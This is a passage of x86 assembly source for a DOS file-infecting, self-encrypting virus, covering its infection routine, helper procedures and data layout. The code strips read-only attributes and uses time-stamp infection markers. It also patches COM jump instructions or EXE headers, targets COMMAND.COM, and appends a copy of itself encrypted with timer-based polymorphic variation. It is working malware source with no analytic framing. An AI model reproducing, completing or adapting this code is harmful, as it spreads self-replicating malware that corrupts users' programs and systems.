Mov Ax, 4300h
Call Do_21
Jb IF00
Push Cx
And Cl, 01h
Cmp Cl, 01h
Pop Cx
Jne H00
And Cl, 0FEh
Mov Ax, 4301h
Call Do_21
H00: Mov Ax, 3D02h
Call Do_21
Jnb IF02
IF00: Jmp IFE4
IF02: Xchg Bx, Ax
Push Cs
Push Cs
Pop Ds
Pop Es
Mov Ax, 5700h
Call Do_21
Push Dx
Push Cx
And Cl, 1Fh
Cmp Cl, 1Fh
Je IF05
Mov Dx, offset Exe_Header
Mov Cx, offset Exe_Header_End-offset Exe_Header
Mov Ah, 3Fh
Call Do_21
Jnb IF10
IF05: Stc
Jmp IFE2
IF10: Cmp Ax, Cx
Jne IF05
Xor Dx, Dx
Mov Cx, Dx
Mov Ax, 4202h
Call Do_21
Or Dx, Dx
Jne IF12
Cmp Ax, offset Virus_End+Stack_Size
Jb IF05
IF12: Cmp Word ptr Ds:Sign, 'ZM'
Je EXE_type
COM_type:
Cmp Byte ptr Ds:Sign+3, 'O'
Je IF05
Cmp Byte ptr Ds:Command_Flag, 00h
Je CT00
Sub Ax, offset Virus_End
Xchg Dx, Ax
Xor Cx, Cx
Mov Ax, 4200h
Call Do_21
CT00: Mov Si, offset Sign
Mov Di, offset Start_Code
Movsw
Movsw
Sub Ax, 0003h
Mov Byte ptr Ds:Sign, 0E9h
Mov Word ptr Ds:Sign+1, Ax
Mov Byte ptr Ds:Sign+3, 'O'
Add Ax, (offset V05-V05_Back)+0103H
Jmp short IF30
EXE_type:
Cmp Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size
Je IF05
Cmp Word ptr Ds:Overlay_Num, 0000h
Jne IF05
Push Dx
Push Ax
Mov Cl, 04h
Ror Dx, Cl
Shr Ax, Cl
Add Ax, Dx
Sub Ax, Word ptr Ds:Size_Header
Mov Si, offset Start_Ip
Mov Di, offset Start_Code
Movsw
Movsw
Mov Si, offset Stack_Ss
Movsw
Movsw
Mov Word ptr Ds:Start_Cs, Ax
Mov Word ptr Ds:Stack_Ss, Ax
Mov Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size
Pop Ax
Pop Dx
Push Ax
Add Ax, offset Virus_End+Stack_Size
Jnb IF29
Inc Dx
IF29: Mov Cx, 512
Div Cx
Mov Word ptr Ds:File_Size, Ax
Mov Word ptr Ds:Remainder, Dx
Pop Ax
And Ax, 000Fh
Mov Word ptr Ds:Start_Ip, Ax
Add Ax, (offset V05-V05_Back)
IF30: Mov Word ptr Ds:V00+1, Ax
Push Ds
Xor Si, Si
Mov Ds, Si
Mov Ax, Word ptr Ds:[046Ch]
Pop Ds
Push Bx
Mov Byte ptr Ds:V01+1, Ah
And Ax, 000Fh
Xchg Bx, Ax
Shl Bx, 01h
Mov Ax, Word ptr [Bx].Random_AL
Mov Word ptr Ds:V03, Ax
Mov Di, offset Real_End
Mov Cx, offset Virus_End
Push Cx
Cld
Rep Movsb
Mov Bx, (offset V05-V05_Back)
Push Word ptr [Bx]
Mov Byte ptr [Bx+V05_Back], 0C3h
Push Bx
Xor Byte ptr Ds:([Bx+V02+1])-(offset V05-V05_Back), 28h
Add Bx, offset Real_End ; Toggle ADD [BX],AL/SUB [BX],AL
Call V04
Pop Bx
Pop Word ptr [Bx]
Mov Dx, offset Real_End
Pop Cx
Pop Bx
Mov Ah, 40h
Call Do_21
IFE1: Jb IFE2
Xor Dx, Dx
Mov Cx, Dx
Mov Ax, 4200h
Call Do_21
Jb IFE2
Mov Dx, offset Exe_Header
Mov Cx, offset Exe_Header_End-offset Exe_Header
Mov Ah, 40h
Call Do_21
IFE2: Pop Cx
Pop Dx
Jb IFE3
Cmp Byte ptr Ds:Command_Flag, 0FFh
Je IFE3
Or Cl, 1Fh
IFE3: Mov Ax, 5701h
Call Do_21
Mov Ah, 3Eh
Call Do_21
IFE4: Mov Byte ptr Cs:Command_Flag, 00h
Call Restore_Regs
Ret
Infect_File Endp
Do_21 Proc Near
Pushf
Call Dword ptr Cs:Saved_21
Ret
Do_21 Endp
Save_Regs:
Push Bp
Mov Bp, Sp
Push Bx
Push Cx
Push Dx
Push Si
Push Di
Push Ds
Push Es
Pushf
Xchg [Bp+02], Ax
Push Ax
Mov Ax, [Bp+02]
Ret
Restore_Regs:
Pop Ax
Xchg [Bp+02], Ax
Popf
Pop Es
Pop Ds
Pop Di
Pop Si
Pop Dx
Pop Cx
Pop Bx
Pop Bp
Ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Random_AL:
Inc Al ; 0
Dec Al ; 1
Inc Ax ; 2
Inc Ax
Dec Ax ; 3
Dec Ax
Add Al, Cl ; 4
Sub Al, Cl ; 5
Xor Al, Cl ; 6
Xor Al, Ch ; 7
Not Al ; 8
Neg Al ; 9
Ror Al, 01h ; A
Rol Al, 01h ; B
Ror Al, Cl ; C
Rol Al, Cl ; D
Nop ; E
Nop
Add Al, Ch ; F
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
COMSPEC_name db 'COMSPEC='
COMMAND_file db '\COMMAND.COM',0
FILE_Exts db 'COMEXEOVL'
NUM_Exts equ 3
Start_Code dw 00000h
dw 0FFF0h
Start_Stack dw ?
dw 0FFFFh
Org 400h
Virus_End:
Saved_24 dw ?,?
Command_Flag db 0
Temp dw ?
Exe_Header:
Sign dw ?
Remainder dw ?
File_Size dw ?
Num_Real dw ?
Size_Header dw ?
Min_Above dw ?
Max_Above dw ?
Stack_Ss dw ?
Stack_Sp dw ?
CheckSum dw ?
Start_Ip dw ?
Start_Cs dw ?
Display_Real dw ?
Overlay_Num dw ?
Exe_Header_End:
Real_End:
Code Ends
End Virus_Begin